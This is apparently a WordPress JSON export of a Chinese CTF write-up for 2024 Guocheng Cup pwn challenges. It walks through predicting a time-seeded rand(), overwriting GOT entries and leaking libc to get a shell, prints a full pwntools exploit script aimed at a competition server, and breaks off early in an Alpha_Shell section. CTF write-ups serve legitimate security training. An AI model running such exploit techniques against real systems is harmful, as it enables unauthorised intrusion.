{"id":11,"date":"2024-12-11T11:53:17","date_gmt":"2024-12-11T03:53:17","guid":{"rendered":"http:\/\/8.141.27.105\/?p=11"},"modified":"2024-12-12T11:02:21","modified_gmt":"2024-12-12T03:02:21","slug":"2024%e5%9b%bd%e5%9f%8e%e6%9d%af-pwn%e9%83%a8%e5%88%86wp","status":"publish","type":"post","link":"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/11\/2024%e5%9b%bd%e5%9f%8e%e6%9d%af-pwn%e9%83%a8%e5%88%86wp\/","title":{"rendered":"2024\u56fd\u57ce\u676f PWN\u90e8\u5206WP"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_71 ez-toc-wrap-right counter-hierarchy ez-toc-counter ez-toc-transparent ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">\u76ee\u5f55<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #f4f4f4;color:#f4f4f4\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #f4f4f4;color:#f4f4f4\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/11\/2024%e5%9b%bd%e5%9f%8e%e6%9d%af-pwn%e9%83%a8%e5%88%86wp\/#beverage_store%E4%BC%AA%E9%9A%8F%E6%9C%BA%E6%95%B0%E7%A0%B4%E8%A7%A3%E8%B0%83%E7%94%A8libc%E5%87%BD%E6%95%B0%E4%BF%AE%E6%94%B9GOT%E8%A1%A8\" title=\"beverage store(\u4f2a\u968f\u673a\u6570\u7834\u89e3+\u8c03\u7528libc\u51fd\u6570+\u4fee\u6539GOT\u8868)\">beverage store(\u4f2a\u968f\u673a\u6570\u7834\u89e3+\u8c03\u7528libc\u51fd\u6570+\u4fee\u6539GOT\u8868)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/11\/2024%e5%9b%bd%e5%9f%8e%e6%9d%af-pwn%e9%83%a8%e5%88%86wp\/#Alpha_Shell%EF%BC%88%E6%8F%92%E4%BB%B6%E5%8E%BB%E9%99%A4%E8%8A%B1%E6%8C%87%E4%BB%A4%EF%BC%8C%E6%B2%99%E7%AE%B1%E7%A6%81%E7%94%A8ORW%EF%BC%89\" title=\"Alpha_Shell\uff08\u63d2\u4ef6\u53bb\u9664\u82b1\u6307\u4ee4\uff0c\u6c99\u7bb1\u7981\u7528ORW\uff09\">Alpha_Shell\uff08\u63d2\u4ef6\u53bb\u9664\u82b1\u6307\u4ee4\uff0c\u6c99\u7bb1\u7981\u7528ORW\uff09<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/11\/2024%e5%9b%bd%e5%9f%8e%e6%9d%af-pwn%e9%83%a8%e5%88%86wp\/#vtable_hijackunsortedbin_leakfastbin_attack_by_uaf\" title=\"vtable_hijack(unsortedbin leak+fastbin attack by uaf)\">vtable_hijack(unsortedbin leak+fastbin attack by uaf)<\/a><\/li><\/ul><\/nav><\/div>\n\n<p class=\"has-large-font-size\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"beverage_store%E4%BC%AA%E9%9A%8F%E6%9C%BA%E6%95%B0%E7%A0%B4%E8%A7%A3%E8%B0%83%E7%94%A8libc%E5%87%BD%E6%95%B0%E4%BF%AE%E6%94%B9GOT%E8%A1%A8\"><\/span>beverage store(\u4f2a\u968f\u673a\u6570\u7834\u89e3+\u8c03\u7528libc\u51fd\u6570+\u4fee\u6539GOT\u8868)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p><\/p>\n\n\n\n<p id=\"ua2436b2c\">\u9898\u76ee\u5b9e\u73b0\u4e86\u8fd9\u6837\u4e00\u4e2a\u529f\u80fd\uff0c\u53d6\u5f53\u524d\u65f6\u95f4\u4f5c\u4e3a\u968f\u673a\u6570\u79cd\u5b50\uff0c\u7136\u540e\u4ea7\u751f\u968f\u673a\u6570\uff0c\u5224\u65ad\u8f93\u5165\u662f\u4ea7\u751f\u7684\u968f\u673a\u6570\uff0c\u5426\u5219\u5c31\u7ec8\u6b62\u7a0b\u5e8f\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/CYQB3IY2PIG7Y94_4HDJ-1024x734.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"734\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/CYQB3IY2PIG7Y94_4HDJ-1024x734.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-64\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"ub676dcc6\">srand\u548crand\u662f\u4f2a\u968f\u673a\u6570\uff0c\u53ea\u8981seed\u4e00\u6837\uff0crand\u7684\u503c\u5c31\u4e00\u6837\u3002\u90a3\u5c31\u53ef\u4ee5\u5728\u811a\u672c\u91cc\u9762\u8ba1\u7b97rand\u503c\uff0c\u7136\u540e\u8f93\u5165\u5c31\u884c,\u91cd\u70b9\u662f\u600e\u4e48\u8c03\u7528libc\u5e93\u51fd\u6570\uff0c\u4e0d\u80fd\u76f4\u63a5\u7528elf\u3002<\/p>\n\n\n\n<p id=\"uee8b1753\">libcfunc=ctypes.cdll.LoadLibrary(&#8220;libc.so.6&#8221;)<\/p>\n\n\n\n<p id=\"u007d3474\">libcfunc.srand(libcfunc.time(0))<\/p>\n\n\n\n<p id=\"u74fb1d7b\">a=str(libcfunc.rand()).encode()<\/p>\n\n\n\n<p id=\"u6f2e5ff4\">\u8f93\u5165\u6b63\u786e\u540e\u8fdb\u5165buy\u51fd\u6570\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/5SZ_GP695LN3KXDLZS-1-1024x577.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"577\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/5SZ_GP695LN3KXDLZS-1-1024x577.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-71\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u2d380edf\">buy\u51fd\u6570\u53ef\u4ee5\u5b9e\u73b0\u4e00\u5b9a\u7a0b\u5ea6\u4e0a\u7684\u5730\u5740\u5199\uff0c\u56e0\u4e3a\u53ea\u89c4\u5b9a\u4e86v0\u4e0d\u80fd\u5927\u4e8e4\uff0c\u4f46\u662f\u53ef\u4ee5\u662f\u8d1f\u503c\uff0c\u4e5f\u5c31\u662f\u8bf4\u53ef\u4ee5\u5f80section\u53d8\u91cf\u524d\u9762\u7684\u5730\u5740\u5199<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/4204E389956D404F8BCA03F03FB04C8C-1024x731.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"731\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/4204E389956D404F8BCA03F03FB04C8C-1024x731.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-65\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u7b1eb6c4\">GOT\u8868\u5728\u524d\u9762\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/64B33307AE35405EA86821E9BAFA45E4-1024x510.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"510\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/64B33307AE35405EA86821E9BAFA45E4-1024x510.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-72\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/AA35F5EA2D6F4F96BF76F1982081520C-1024x422.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"422\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/AA35F5EA2D6F4F96BF76F1982081520C-1024x422.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-66\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p id=\"ue06259d4\">\u9898\u76ee\u7ed9\u4e86\u534a\u4e2a\u540e\u95e8\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/2E7DA361608E45BE92E228B397DF7F81.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"701\" height=\"300\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/2E7DA361608E45BE92E228B397DF7F81.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-67\"  sizes=\"auto, (max-width: 701px) 100vw, 701px\" \/><\/div><\/figure>\n\n\n\n<p id=\"uceebb97e\">\u4e5f\u5c31\u662f\u8981\u628aprintf\u6539\u6210system,\u4f46\u662f\u9898\u76ee\u5e76\u6ca1\u7ed9system\u51fd\u6570\uff0c\u6240\u4ee5\u8fd8\u5f97\u6cc4\u9732\u4e00\u4e0b\u5176\u4ed6\u51fd\u6570\u7684\u5730\u5740\u6765\u8ba1\u7b97libc\u504f\u79fb<\/p>\n\n\n\n<p id=\"u695cdbc3\">\u4f46\u662f\u76f4\u63a5\u6539\u4e0d\u884c\uff0c\u56e0\u4e3a\u6539\u5b8c\u540e\u7a0b\u5e8f\u5c31\u7ec8\u6b62\u4e86\uff0c\u5f97\u5148\u628aexit\u6539\u6210buy\u51fd\u6570\uff0c\u8fd9\u6837\u5c31\u80fd\u65e0\u9650\u5229\u7528\uff0c\u7b2c\u4e8c\u6b21\u6cc4\u9732puts\u51fd\u6570\u8ba1\u7b97system\u51fd\u6570\u5730\u5740\uff0c\u7b2c\u4e09\u6b21\u628aprint\u6539\u6210system\uff0c\u7136\u540e\u7b2c\u56db\u6b21\u628aexit\u6539\u6210\u540e\u95e8\u51fd\u6570\u5c31\u80fdgetshell.<\/p>\n\n\n\n<p id=\"u201c6691\">\u8fd9\u91cc\u6211\u5361\u4e86\u5f88\u4e45\uff0c\u9519\u8bef\u5199\u6cd5\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#leak system addr\n\np.sendlineafter(\"wine\\n\",b'0')\n\np.sendafter(\"choose\\n\",p64(elf.got&#91;'puts']))\n\np.recvuntil(\"succeed\\n\")\n\nputs = u64(p.recv(6).ljust(8,b'\\x00'))\n\nlibcbase=puts-libc.sym&#91;\"puts\"]\n\nsystem=libcbase+libc.sym&#91;\"system\"]\n\nprint(hex(puts))\n\nprint(hex(libcbase))<\/code><\/pre>\n\n\n\n<p id=\"ud1a4fd72\">\u4e0a\u8ff0\u5199\u6cd5\u53ea\u662f\u628aelf.got\u8868\u7684puts\u5730\u5740\u6253\u4e86\u51fa\u6765\uff0c\u800cputs\u7684\u771f\u6b63\u5730\u5740\u662f\u8be5\u5904\u7684\u503c\uff01\uff01<\/p>\n\n\n\n<p id=\"u1d939da1\">\u6240\u4ee5\u5e94\u8be5\u628a\u504f\u79fb\u8bbe\u7f6e\u5230puts\u7684got\u8868\u5730\u5740\u5904\uff0c\u7136\u540e\u8ba9\u7a0b\u5e8f\u8bfb\u51fa\u6765\uff0c\u8fd9\u91cc\u6709\u4e2a\u95ee\u9898\u5c31\u662f\u6211\u4eec\u5fc5\u987b\u5f80\u8fd9\u4e2a\u5730\u5740\u5199\u5165\u4e00\u70b9\u4e1c\u897f\u624d\u80fd\u7ee7\u7eed\uff0c\u5c31\u4f1a\u628aputs\u771f\u6b63\u5730\u5740\u8986\u76d6\u6389\u4e00\u90e8\u5206\uff0c\u6240\u4ee5\u5148\u7528gdb\u6765\u770bputs\u771f\u6b63\u5730\u5740\u662f\u4ec0\u4e48\uff0c\u7136\u540e\u586b\u5165\u88ab\u8986\u76d6\u6389\u7684\u6570\u503c\u5c31\u884c\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/588EF8E96D1143D3905704ACBBCC57A3.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1020\" height=\"735\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/588EF8E96D1143D3905704ACBBCC57A3.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-68\"  sizes=\"auto, (max-width: 1020px) 100vw, 1020px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u0d1c58ab\">\u53ef\u4ee5\u53d1\u73b0\u662f\\x50\uff0c\u6240\u4ee5\u5199\u5165\\x50\u5c31\u884c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>p.sendlineafter(\"wine\\n\",b'-8')\n\np.sendafter(\"choose\\n\",b'\\x50')\n\np.recvuntil(\"succeed\\n\")\n\nputs = u64(p.recv(6).ljust(8,b'\\x00'))\n\nlibcbase=puts-libc.sym&#91;\"puts\"]\n\nsystem=libcbase+libc.sym&#91;\"system\"]<\/code><\/pre>\n\n\n\n<p id=\"u3e2418cc\"><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/BCBAFC0C14D34D2588D0060703EAB841-1024x500.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"500\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/BCBAFC0C14D34D2588D0060703EAB841-1024x500.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-69\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>\u5b8c\u6574exp\u5982\u4e0b:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>import ctypes<br>context.log_level=\"debug\"<br>p = process(\"\/home\/monke\/guochengbei\/3\/pwn\")<br>elf=ELF(\"\/home\/monke\/guochengbei\/3\/pwn\")<br>p = remote(\"125.70.243.22\", 31496) <br>libc=ELF(\"\/home\/monke\/guochengbei\/3\/libc.so.6\")<br>libcfunc=ctypes.cdll.LoadLibrary(\"libc.so.6\")<br>section=0x4040a0<br>p.sendlineafter(\"input yours id\",b'a')<br><br>libcfunc.srand(libcfunc.time(0))<br>payload=str(libcfunc.rand()).encode()<br>p.sendlineafter(\"Input yours id authentication code:\\n\",payload)<br><br><br>#exit-&gt;buy<br>p.sendlineafter(\"wine\\n\",str(int((elf.got&#91;'exit']-section)\/16)))<br>p.sendafter(\"choose\\n\",p64(elf.sym&#91;'buy']))<br><br><br>#leak system addr<br>p.sendlineafter(\"wine\\n\",b'-8')<br>p.sendafter(\"choose\\n\",b'\\x50')<br>p.recvuntil(\"succeed\\n\")<br>puts = u64(p.recv(6).ljust(8,b'\\x00'))<br>libcbase=puts-libc.sym&#91;\"puts\"]<br>system=libcbase+libc.sym&#91;\"system\"]<br><br><br><br>#printf-&gt;system<br>p.sendlineafter(\"wine\\n\",str(int((elf.got&#91;'printf']-section)\/16)))<br>p.sendafter(\"choose\\n\",p64(system))<br><br>#exit-&gt;backdoor<br>p.sendlineafter(\"wine\\n\",str(int((elf.got&#91;'exit']-section)\/16)))<br>p.sendafter(\"choose\\n\",p64(elf.sym&#91;\"vuln\"]))<br><br><br>p.interactive()<br><\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Alpha_Shell%EF%BC%88%E6%8F%92%E4%BB%B6%E5%8E%BB%E9%99%A4%E8%8A%B1%E6%8C%87%E4%BB%A4%EF%BC%8C%E6%B2%99%E7%AE%B1%E7%A6%81%E7%94%A8ORW%EF%BC%89\"><\/span>Alpha_Shell\uff08\u63d2\u4ef6\u53bb\u9664\u82b1\u6307\u4ee4\uff0c\u6c99\u7bb1\u7981\u7528ORW\uff09<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p id=\"u3fec7cfb\">\u8fdb\u6765\u6ca1\u770b\u89c1main\u51fd\u6570\uff0c\u627e\u4e86\u4e00\u756a\u7ec8\u4e8e\u627e\u5230\uff0c\u5e94\u8be5\u662f\u6709\u82b1\u6307\u4ee4<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/W19ZI2KR60ON8Q2696P3-1024x548.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"548\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/W19ZI2KR60ON8Q2696P3-1024x548.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-74\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"uf4221152\">\u53ef\u4ee5\u770b\u5230main\u51fd\u6570\u91cc\u9762\u7684jz jnz \u662f\u5f88\u660e\u663e\u7684\u82b1\u6307\u4ee4\uff0c\u8fd9\u91cc\u6709\u4e24\u4e2a\u529e\u6cd5<\/p>\n\n\n\n<p id=\"u4f4cec1c\">1\uff1a\u76f4\u63a5\u8df3\u8fc7main\uff0c\u70b9\u51fbcode\uff0c\u7136\u540e\u6309P\u8f6c\u6362\u51fd\u6570\uff0c\u5c31\u80fd\u53cd\u7f16\u8bd1\uff0cmain\u51fd\u6570\u53ea\u662f\u591a\u4e86\u4e2a\u521d\u59cb\u5316init\uff0c\u4f46\u662f\u8fd9\u79cd\u53cd\u7f16\u8bd1\u51fa\u6765\u6bd4\u8f83\u7e41\u7410\u96be\u61c2<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/NB4LRE9KK6@F6ZVNVC5E-1024x582.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"582\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/NB4LRE9KK6@F6ZVNVC5E-1024x582.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-75\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u0d7e204c\">2.\u7528\u63d2\u4ef6nomoreflower:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/J7JXLFY2MN4GJE9ZEKL-1024x633.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"633\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/J7JXLFY2MN4GJE9ZEKL-1024x633.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-76\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"uf03d0b8d\">\u7136\u540e\u70b9\u51fbmain\u51fd\u6570\uff0cP\u8f6c\u6362\u6210\u51fd\u6570\uff0c\u5c31\u80fd\u53cd\u7f16\u8bd1\u51fa\u6765\uff0c\u8fd9\u79cd\u65b9\u6cd5\u66f4\u6b63\u786e\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image 